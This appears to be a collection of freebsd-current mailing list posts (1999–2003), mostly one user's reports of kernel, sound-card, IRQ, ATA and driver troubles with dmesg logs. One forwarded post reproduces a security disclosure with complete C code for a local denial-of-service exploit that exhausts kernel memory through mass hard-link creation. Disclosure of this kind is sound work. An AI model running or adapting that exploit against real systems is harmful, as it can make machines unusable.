The problem earlier
OK, I have 2 problems, first the pnp stuff in the kernel is broken, when I took the pnp device out of the kernel, it boots without hanging. Second, the new pcm stuff doesn't work (at least not with my creative Vibra16X). If someone can tell me if the new pcm has full support (except midi, I don't use that) for the Aureal Vortex soundcard, I'll happily try that one, because I have one sitting around waiting for the driver. Second, make world is broken, See my previous message for information about that. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
the pcm driver and the bktr device
It seems I have the classic IRQ conflict going on here. I have 4 devices that all seem to want the same irq. For some reason the USB port, the pcm driver, the bktr driver, and one other thing (I havn't figured out what) all want IRQ 11. The pcm driver is driving an aureal vortex right now. I have never had this problem before, and even though they are all sharing the same IRQ, they all work at the same time in windows. I would like to know why they won't work in FreeBSD. Here is the output from the dmesg command: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #5: Fri Sep 3 18:57:32 EDT 1999 [EMAIL PROTECTED]:/usr/src/sys/compile/MYKERNEL Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (451.02-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183f9ffFPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PA T,PSE36,MMX,FXSR real memory = 134152192 (131008K bytes) avail memory = 127393792 (124408K bytes) Preloaded elf kernel "kernel" at 0xc0293000. Pentium Pro MTRR support enabled npx0: math processor on motherboard npx0: INT 16 interface apm0: APM BIOS on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: Intel 82443BX (440 BX) host to PCI bridge on motherboard pci0: PCI bus on pcib0 WARNING: "bktr" is usurping "bktr"'s cdevsw[] pcib1: Intel 82443BX (440 BX) PCI-PCI (AGP) bridge at device 0.0 on pci0 pci1: PCI bus on pcib1 vga-pci0: VGA-compatible display device at device 0.0 on pci1 isab0: Intel 82371AB PCI to ISA bridge at device 7.0 on pci0 isa0: ISA bus on isab0 ata-pci0: Intel PIIX4 IDE controller at device 7.1 on pci0 ata-pci0: Busmastering DMA supported ata0 at 0x01f0 irq 14 on ata-pci0 ata1 at 0x0170 irq 15 on ata-pci0 chip1: UHCI USB controller irq 11 at device 7.2 on pci0 chip2: Intel 82371AB Power management controller at device 7.3 on pci0 pcm0: Aureal Vortex 8820 irq 11 at device 9.0 on pci0 pcm0: irq test failed pcm0: codec timeout reading register 2 (fe7604) pcm0: codec timeout reading register 26 (fe7604) ac97: dac not ready bktr0: BrookTree 878 irq 11 at device 13.0 on pci0 bktr0: could not map interrupt device_probe_and_attach: bktr0 attach returned 6 pci0: unknown card DD^0878 (vendor=0x109e, dev=0x0878) at 13.1 irq 11 de0: Digital 21140A Fast Ethernet irq 10 at device 15.0 on pci0 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:c0:f0:1f:21:02 pci0: unknown card DPZ0002 (vendor=0x121a, dev=0x0002) at 17.0 pci0: unknown card DPZ0002 (vendor=0x121a, dev=0x0002) at 19.0 fdc0: NEC 72065B or clone at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: 1440-KB 3.5" drive on fdc0 drive 0 atkbdc0: keyboard controller (i8042) at port 0x60-0x6f on isa0 atkbd0: AT Keyboard irq 1 on atkbdc0 psm0: PS/2 Mouse irq 12 on atkbdc0 psm0: model IntelliMouse, device ID 3 vga0: Generic ISA VGA at port 0x3b0-0x3df iomem 0xa-0xb on isa0 sc0: System console on isa0 sc0: VGA 16 virtual consoles, flags=0x200 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode plip0: PLIP network interface on ppbus 0 lpt0: generic printer on ppbus 0 lpt0: Interrupt-driven port ppi0: generic parallel i/o on ppbus 0 vpo0: Iomega VPI0 Parallel to SCSI interface on ppbus 0 vpo0: EPP 1.9 mode ata0: master: setting up UDMA2 mode on PIIX4 chip OK ad0: Maxtor 90845D4/GAS54112 ATA-4 disk at ata0 as master ad0: 8063MB (16514064 sectors), 16383 cyls, 16 heads, 63 S/T, 512 B/S ad0: piomode=4, dmammode=2, udmamode=2 ad1: 16 secs/int, 0 depth queue, DMA mode Creating DISK ad1 Creating DISK wd1 ata1: master: setting up UDMA2 mode on PIIX4 chip OK ad2: FUJITSU MPC3064AT/6020 ATA-3 disk at ata1 as master ad2: 6187MB (12672450 sectors), 13410 cyls, 15 heads, 63 S/T, 512 B/S ad2: piomode=4, dmamode=2, udmamode=2 ad2: 16 secs/int, 0 depth queue, DMA mode Creating DISK ad2 Creating DISK wd2 atapi: piomode=4, dmamode=2, udmamode=-1 atapi: PIO transfer mode set acd0: CD-ROM 40X/AKU/U30 CDROM drive at ata1 as slave acd0: drive speed 0 - 6875KB/sec, 128KB cache acd0: supported read types: CD-DA acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable tray acd0: Medium: CD-ROM 120mm data disc loaded, unlocked da0 at vpo0 bus 0 target 6 lun 0 da0: IOMEGA ZIP 100 D.09 Removable Direct Access SCSI-2 device da0: Attempt to query device size failed: NOT READY, Medium not present changing root device to wd1s1a de0: enabling 10baseT port If someone can tell me how to make those devices stop sharing the same IRQ I'd appreciate it. Thanks. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
pcm, bktr, etc....
Well, as it turns out, my ethernet, and my bktr device have no problem shareing IRQ's, but my soundcard has plenty of problems, even when it gets it's own irq... it plays sound through the sound-in just fine, but the dsp doesn't work quit right: Applications can play sound (although it plays a little too fast), and when they try to stop playing sound, they just stutter until something else tries to use the dsp device. Also, my bios is really freaky. It refuses to assign any irqs except 10 and 11 to installed PCI devices. I can't figure it out. I've completely rearranged everything and it still refuses to work properly. Here is the pcm part of a dmesg: pcm0: Aureal Vortex 8820 irq 10 at device 19.0 on pci0 pcm0: irq test failed pcm0: codec timeout reading register 2 (fe7604) pcm0: codec timeout reading register 26 (fe7604) ac97: dac not ready Thanks Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: pcm, bktr, etc....
On Fri, 3 Sep 1999, Kenneth Culver wrote: Also, my bios is really freaky. It refuses to assign any irqs except 10 and 11 to installed PCI devices. I can't figure it out. I've completely rearranged everything and it still refuses to work properly. The BIOS usually lets you mark IRQs as 'reserved for legacy ISA' or 'auto'. That doesn't help anything. It just picks 2 different IRQs and assigns them to everything. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: pcm, bktr, etc....
On Fri, 3 Sep 1999, Kenneth Culver wrote: What motherboard? What version of BIOS? Is the BIOS version the latest? Well, I figured it out I think. It is Award BIOS, and it's the latest version. I have 2 VooDoo 2's and at the place I had them, they were causing problems, I moved them, and now everything works fine. I still had to remove the Vortex though, it wasn't working right. This is a board with 5 PCI slots right? If so then you are aware that 1 of the slots is a 'clone' of the other and only cards that can cope with sharing PCI INT pins should be used in those 2 slots. Your motherboard manual will have more information. Yeah, it has 5 pci slots and 2 ISA, and one of the PCI is shared. I think I may have had the soundcard, and the bktr card both in the shared slots. Anyway, That problem is fixed, but the aureal driver has some problems. It plays sound (dsp) but in xmms, the slower the kbps, the faster it plays. 56kbps sound sounds like The Chipmunks, and 128 Kbps sound is just a little too fast. Also, when a sound stops, it stutters until another app tries to use the dsp device. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: the pcm driver and the bktr device
r mode set acd0: CD-ROM 40X/AKU/U30 CDROM drive at ata1 as slave acd0: drive speed 0 - 6875KB/sec, 128KB cache acd0: supported read types: CD-DA acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable tray acd0: Medium: CD-ROM 120mm data disc loaded, unlocked da0 at vpo0 bus 0 target 6 lun 0 da0: IOMEGA ZIP 100 D.09 Removable Direct Access SCSI-2 device da0: Attempt to query device size failed: NOT READY, Medium not present changing root device to wd1s1a de0: enabling 10baseT port That's it... :-) Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Latest kernel flop
Not only does the sio device give me trouble, since I don't use it I took it out, and rebuilt the kernel. Immediately upon reboot, I got a kernel panic. It went like this: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. Then it panics. What's going on here? Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Latest kernel flop
Not only does the sio device give me trouble, since I don't use it I took it out, and rebuilt the kernel. Immediately upon reboot, I got a kernel panic. It went like this: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. Then it panics. What's going on here? Kenneth Culver Oops, did a config -r and fixed the panic, but the sio problem is still there. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
rtc?
I reinstalled -current today, and for some reason there is an extra device generating interrupts. When I do a systat -vm 1 I find that there is a device called rtc at irq8 generating 128 interrupts. What is it? I didn't configure it, and it wasn't there before. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
wierd message
what does this message mean? Sep 24 18:34:04 culverk /kernel: arpresolve: can't allocate llinfo for 127.0.0.1rt I've been getting it alot since I reinstalled -current, it never used to happen before. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
ata driver
I have been testing the ata driver recently, and I have noticed this message (along with not being able to access that hard drive after the message) ata0_slave: lost contact with device - resetting. then it says it's reset, but nothing can access the disk... I've gone back to the wdc drivers for now... although the wdc drivers appear to be about 3 MB/sec slower on reads for my FreeBSD HD.. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
just found this
Check this out, if anyone is intrested.
I found this on packetstorm.securify.com tonight. Any ideas??
[Resending once, since it's been 10.5 days...]
Here's an interesting denial-of-service attack against FreeBSD =3.0
systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
way to purge entries unless the `vnode' (e.g. the file) they point to
is removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens when the
`vnode' (i.e. file) is open. Thus it's possible to chew up an
arbitrary amount of wired kernel memory relatively simply.
What strikes me as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it was
intentionally removed.
I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
and it chugged along to about `02/03000' (meaning it created 3 files
and about 63000 or so links), consuming a whopping 34MB of wired
kernel memory (according to `top'), before all file system activity
came to a screeching halt and the machine was unusable.
This exploit does not affect Linux 2.0.36, or any version of NetBSD.
I have not tested Linux versions =2.1 (which have a different
implementation of the equivalent code from 2.0.36), but based on code
inspection, I do not believe it to be vulnerable to this particular
attack.
Note that, although it may seem like setting quotas is a good solution
to this problem, if the FreeBSD system is acting as a NFS client, it's
possible to use a variant of the attack that only creates one file and
keeps at most one link to it at any given time.
Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of creating
hard links. (I'm not aware of any that do, but I point this out for
completeness.)
-8-snip-8-snip-8-snip-8-snip-8-
#include stdio.h
#include unistd.h
#include sys/stat.h
#define NFILE 64
#define NLINK 3
#define NCHAR 245
int
main()
{
char junk[NCHAR+1],
dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;
memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, sb) 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, sb) 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
-8-snip-8-snip-8-snip-8-snip-8-
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
the libc_r problem
I am still getting this error when trying to compile using libc_r.so.4: /usr/lib/libc_r.so: undefined reference to `_thread_sys_sigprocmask' Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
ATA driver
I finally got a chance to put the ata driver back in my kernel, and this is what happens: Whenever I am doing something that requires a lot of disk activity, (on the latest errors, I was recompiling the kernel with make -j8 and building gnomelibs): Oct 10 12:29:48 culverk /kernel: ata0-slave: ad_timeout: lost disk contact - res etting Oct 10 12:29:49 culverk /kernel: ata0: resetting devices .. DANGER active=3 Oct 10 12:29:49 culverk /kernel: done Oct 10 12:29:49 culverk /kernel: ad1: status=51 error=04 Oct 10 12:29:49 culverk /kernel: ad_interrupt: hard error Oct 10 12:29:51 culverk /kernel: ata0-slave: ad_timeout: lost disk contact - res etting Oct 10 12:29:54 culverk /kernel: ata0: resetting devices .. done Oct 10 12:29:54 culverk /kernel: ad1: status=51 error=04 Oct 10 12:29:54 culverk /kernel: ad_interrupt: hard error Oct 10 12:29:54 culverk /kernel: ata0-slave: ad_timeout: lost disk contact - res etting Oct 10 12:29:54 culverk /kernel: ata0: resetting devices .. DANGER active=3 Oct 10 12:29:54 culverk /kernel: done Oct 10 12:29:54 culverk /kernel: ad1: status=51 error=04 Oct 10 12:29:54 culverk /kernel: ad_interrupt: hard error Oct 10 12:29:57 culverk /kernel: ata0-slave: ad_timeout: lost disk contact - res etting Oct 10 12:29:57 culverk /kernel: ata0: resetting devices .. done Oct 10 12:32:03 culverk /kernel: sigreturn: eflags = 0x0 any ideas? To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: ATA driver
It doesn't seem to have bad sectors... found- vendor=0x109e, dev=0x036e, revid=0x02 class=04-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0secondarybus=0 intpin=a, irq=9 map[0]: type 3, range 32, base ea002000, size 12 found- vendor=0x109e, dev=0x0878, revid=0x02 class=04-80-00, hdrtype=0x00, mfdev=1 subordinatebus=0secondarybus=0 intpin=a, irq=9 map[0]: type 3, range 32, base ea00, size 12 found- vendor=0x1011, dev=0x0009, revid=0x22 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0secondarybus=0 intpin=a, irq=10 map[0]: type 4, range 32, base e400, size 7 map[1]: type 1, range 32, base ea001000, size 7 pci0: PCI bus on pcib0 pcib1: Intel 82443BX (440 BX) PCI-PCI (AGP) bridge at device 1.0 on pci0 found- vendor=0x8086, dev=0x7800, revid=0x21 class=03-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0secondarybus=0 intpin=a, irq=255 map[0]: type 3, range 32, base e600, size 24 map[1]: type 1, range 32, base e500, size 19 pci1: PCI bus on pcib1 vga-pci0: VGA-compatible display device at device 0.0 on pci1 isab0: Intel 82371AB PCI to ISA bridge at device 7.0 on pci0 isa0: ISA bus on isab0 ata-pci0: Intel PIIX4 IDE controller at device 7.1 on pci0 ata-pci0: Busmastering DMA supported ata0: iobase=0x01f0 altiobase=0x03f6 ata0: mask=03 status0=50 status1=50 ata0: mask=03 status0=50 status1=50 ata0: devices = 0x3 ata0 at 0x01f0 irq 14 on ata-pci0 ata1: iobase=0x0170 altiobase=0x0376 ata1: mask=03 status0=50 status1=10 ata1: mask=03 status0=50 status1=10 ata1: devices = 0x9 ata1 at 0x0170 irq 15 on ata-pci0 chip1: UHCI USB controller irq 11 at device 7.2 on pci0 intpm0: Intel 82371AB Power management controller at device 7.3 on pci0 intpm0: I/O mapped 5000 intpm0: intr IRQ 9 enabled revision 0 smbus0: System Management Bus on intsmb0 smb0: SMBus general purpose I/O on smbus0 intpm0: PM I/O mapped 4000 pci0: unknown card (vendor=0x121a, dev=0x0002) at 13.0 pci0: unknown card (vendor=0x121a, dev=0x0002) at 15.0 bktr0: BrookTree 878 irq 9 at device 17.0 on pci0 using shared irq9. brooktree0: PCI bus latency is 64. bktr0: buffer size 3555328, addr 0x500 bktr: GPIO is 0x00fb subsytem 0x0070 0x13eb bktr0: Hauppauge Model 61291 D110 Hauppauge WinCast/TV, Philips NTSC tuner, remote control. pci0: unknown card (vendor=0x109e, dev=0x0878) at 17.1 irq 9 de0: Digital 21140A Fast Ethernet irq 10 at device 19.0 on pci0 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:c0:f0:1f:21:02 bpf: de0 attached fdc0: NEC 72065B or clone at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: 1440-KB 3.5" drive on fdc0 drive 0 atkbdc0: keyboard controller (i8042) at port 0x60-0x6f on isa0 atkbd0: AT Keyboard irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbdc: RESET_KBD return code:00fa kbdc: RESET_KBD status:00aa kbd0: atkbd0, AT 101/102 (2), config:0x0, flags:0x3d psm0: current command byte:0047 kbdc: TEST_AUX_PORT status: kbdc: RESET_AUX return code:00fa kbdc: RESET_AUX status:00aa kbdc: RESET_AUX ID: psm: status 00 02 64 psm: status 00 00 64 psm: status 00 03 64 psm: status 00 03 64 psm: status 10 00 64 psm: data 08 00 00 psm: data 08 00 00 psm: status 00 02 64 psm0: PS/2 Mouse irq 12 on atkbdc0 psm0: model IntelliMouse, device ID 3-00, 3 buttons psm0: config:, flags:, packet size:4 psm0: syncmask:c8, syncbits:08 vga0: Generic ISA VGA at port 0x3b0-0x3df iomem 0xa-0xb on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3b0-0x3df, crtc:0x3d4, mem:0xa 0x2 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k vga0: vga: WARNING: video mode switching is not fully supported on this adapter VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 28 0b 10 ff ff 09 0f 00 0e eb 2d 27 28 90 2b 91 bf 1f c0 9c 0e 8f 28 96 b9 01 01 01 01 00 28 0e 10 ff ff 09 0f 00 0e eb 31 27 28 92 2c 90 05 3e c0 e9 0c df 28 e9 fc 02 01 01 01 00 32 11 10 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: System console on isa0 sc0: VGA 16 virtual consoles, flags=0x200 sc0: fb0 kbd0 sio0: irq maps: 0x41 0x51 0x41 0x41 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: irq maps: 0x41 0x49 0x41 0x41 sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc: parallel port found at 0x378 ppc: chipset forced to generic ppc0: EPP SPP ppc0 at port 0x378-0x37f
Re: ATA driver
sure, as soon as i get a chance, I'll do that for ya. Ken On Sun, 10 Oct 1999, Soren Schmidt wrote: It seems Kenneth Culver wrote: Oct 10 12:29:48 culverk /kernel: ata0-slave: ad_timeout: lost disk contact - res etting Oct 10 12:29:49 culverk /kernel: ata0: resetting devices .. DANGER active=3 Oct 10 12:29:49 culverk /kernel: done Oct 10 12:29:49 culverk /kernel: ad1: status=51 error=04 Oct 10 12:29:49 culverk /kernel: ad_interrupt: hard error OK, it suggests that you have bad sectors on your drive, could you mail me your dmesg from a boot -v ? -Søren To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
wmtempmon temperature monitor app
Sorry for the inconvenience, it must have gotten corrupted somehow. It is fixed now, I just fixed it. Kenneth Culver To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
latest kernel doesn't compile.
I just cvsupped 5 minutes ago, and tried to rebuild my kernel, when this happened: culverk:/usr/src/sys/compile/MYKERNEL# make depend cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -DKERNEL -include opt_global.h -UKERNEL ../../i386/i386/genassym.c In file included from ../../i386/i386/genassym.c:49: ../../sys/socket.h:132: warning: `/*' within comment In file included from ../../i386/i386/genassym.c:49: ../../sys/socket.h:133: syntax error before `interface' ../../sys/socket.h:146: syntax error before `}' *** Error code 1 Any suggestions? Just thought I'd let someone know. = | Kenneth Culver | FreeBSD: The best OS around.| | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: AgRSkaterq | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| = To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
modules building...
I tried to rebuild the linux kernel module, but it doesn't work: Warning: Object directory not changed from original /usr/src/sys/modules/linux cc -c -O -pipe -DKERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I/usr/src/sys/modules/linux -I/usr/src/sys/modules/linux/@ -mpreferred-stack-boundary=2 -UKERNEL /usr/src/sys/modules/linux/../../i386/linux/linux_genassym.c cc -static -O -pipe -DKERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I/usr/src/sys/modules/linux -I/usr/src/sys/modules/linux/@ -mpreferred-stack-boundary=2 -o linux_genassym linux_genassym.o ./linux_genassym linux_assym.h make: don't know how to make opt_linux.h. Stop several other modules exhibit similar behavior... = | Kenneth Culver | FreeBSD: The best OS around.| | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: AgRSkaterq | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| = To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: modules building...
I just cvsupped about 2 hours ago... = | Kenneth Culver | FreeBSD: The best OS around.| | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: AgRSkaterq | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| = On Tue, 30 Nov 1999, Mike Smith wrote: I tried to rebuild the linux kernel module, but it doesn't work: This is -current. You need to stay up to date. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ [EMAIL PROTECTED] \\ and he'll hate you for a lifetime. \\ [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
wierd cpu usage numbers
Hi, I was just compiling kde3 on my home pc, and I noticed some interesting behavior. It seems that whenever there's ANY real heavy disk activity, the system cpu usage % number (in top and in systat -vm) skyrockets from 0.8% to around 50-70%. I was wondering which of the recent changes could have caused this... also in systat, the increase of the system % number seems to correspond with zfod, cow, and prcfr numbers jumping. Any ideas? Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: wierd cpu usage numbers
This is a result of what's explained there. Nope, I have all that stuff turned off, and ide write caching turned on. There's no way that's the reason. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: wierd cpu usage numbers
No, not really, I checked top -S, and systat -vm, neither has interrupts going high, but even if interrupts were going really high, I would suspect that the intr % would increase not the system % Ken On Thu, 17 Oct 2002, Michael Lucas wrote: On Thu, Oct 17, 2002 at 11:18:25AM -0400, Kenneth Culver wrote: This is a result of what's explained there. Nope, I have all that stuff turned off, and ide write caching turned on. There's no way that's the reason. OK, then, it's something else. :-) Does, say, top -S show any interrupts going awry? ==ml -- Michael Lucas [EMAIL PROTECTED], [EMAIL PROTECTED] http://www.oreillynet.com/pub/q/Big_Scary_Daemons Absolute BSD: http://www.AbsoluteBSD.com/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Problem with nvidia drivers and current
Just ran tuxracer without a problem, so i can recommend people with problems to try using the nvidia agp driver, seems as if it worked for me :) Haha, that's funny, it wouldn't work for most games using the nvidia driver for me, I had to switch to using FreeBSD's agpgart. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: NVIDIA driver compilation failed
Only one, that driver wasn't meant to compile on -CURRENT. It's not even supported there. Ken On Thu, 2 Jan 2003, Nuzrin Yaapar wrote: Hi all, With the latest CURRENT cvsupped today, NVIDIA driver failed to compile. The output: --- [root@zhang-wu-ji ~/NVIDIA]# make setup ... snipped cc -O -pipe -mcpu=pentiumpro -I/root/NVIDIA/module/../src -D__KERNEL__ -DNV_MAJOR_VERSION=1 -DNV_MINOR_VERSION=0 -DNV_PATCHLEVEL=3203 -DNV_UNIX -DNV_BSD -DNVCPU_X86 -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I/root/NVIDIA/module/../src -I. -I@ -I@/dev -I@/../include -I/usr/include -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -ffreestanding -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -c /root/NVIDIA/module/../src/nvidia_subr.c /root/NVIDIA/src/nvidia_subr.c: In function `nvidia_close_ctl': /root/NVIDIA/src/nvidia_subr.c:317: dereferencing pointer to incomplete type /root/NVIDIA/src/nvidia_subr.c: In function `nvidia_close_dev': /root/NVIDIA/src/nvidia_subr.c:370: dereferencing pointer to incomplete type *** Error code 1 Stop in /root/NVIDIA/module. *** Error code 1 Stop in /root/NVIDIA. Exit 1 [root@zhang-wu-ji ~/NVIDIA]# --- Any pointers? __ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
compile problem
I'm seeing this on a -CURRENT cvsupped around 4:30 AM EST on 1/11/03 cc -c -O -pipe -mcpu=pentiumpro -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../../.. -I../../../dev -I../../../contrib/dev/acpica -I../../../contrib/ipfilter -D_KERNEL -include opt_global.h -fno-common -mno-align-long-strings -mpreferred-stack-boundary=2 -ffreestanding -Werror ../../../kern/kern_sysctl.c ../../../kern/kern_sysctl.c: In function `ogetkerninfo': ../../../kern/kern_sysctl.c:1393: `VM_METER' undeclared (first use in this function) ../../../kern/kern_sysctl.c:1393: (Each undeclared identifier is reported only once ../../../kern/kern_sysctl.c:1393: for each function it appears in.) *** Error code 1 Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Linux Emulation Panic
What exactly were you running? I use linux emulation on -CURRENT right now for mozilla and a few other packages, and havn't had any panics... you might have your kernel modules out of sync with your kernel. Ken On Mon, 13 Jan 2003, Chuck McCrobie wrote: Two panics produced when using Linux emulation on a machine CVSUP'ed two hours ago. Both very easy to produce. Am I the only one running Linux emulation on -current? Or is something wacked-ifed with this machine? Thanks, Chuck McCrobie [EMAIL PROTECTED] 1. cd /usr/ports/emulators/linux_base ; make install (hand-typed, sorry for typo's) Fatal trap 12: page fault while in kernel mode fault virtual address = 0x2c fault code = supervisor read, page not present instruction pointer = 0x08:0xc4670534 stack pointer = 0x10:0xdcb45c98 frame pointer = 0x10:0xdcb45c9c code segment = base 0x0, limit 0xf, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 1516 (glibc_post_upgrade) 